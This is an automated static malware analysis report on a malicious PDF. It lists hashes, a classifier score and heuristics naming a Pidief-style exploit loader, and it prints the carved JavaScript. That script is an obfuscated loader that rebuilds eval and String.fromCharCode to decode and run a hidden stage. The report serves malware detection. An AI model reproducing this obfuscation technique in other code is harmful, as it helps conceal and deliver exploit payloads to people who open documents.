Malicious PDF — malware analysis report

Static analysis result for SHA-256 92b32175d39e62da…

MALICIOUS

PDF

45.2 KB First seen: 2026-05-09
MD5: d58965777edfd898aea1680faf84f4cc SHA-1: f093ea4122d8bd56a4d71a59b145e92cb5c84716 SHA-256: 92b32175d39e62dadcbbfdf0a033ab14b4bb1b9f2c486eca4ed0d233d20b594c
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely designed to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although the specific actions could not be determined due to the lack of script content in the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB20F 437 bytes
SHA-256: 75f25d101ee3b4f33b60563b6ef2733995d6f4524f0dff7c143f8bd2f6a2c898
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
rpk='';
jhd=('qwrwqr','tit');
e('yau=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
eoq=e('String.fr'+yau.substr(0,10));
upwo = e(yau.substr(10)['replace'](/u/g,','));
e('k=upwo.length');
for (i = 0; i < k; i+=2) {
	jccx = upwo[i+1] + ('erybjkerl',upwo[i]);
	rpk += eoq(jccx);
}
e(rpk);

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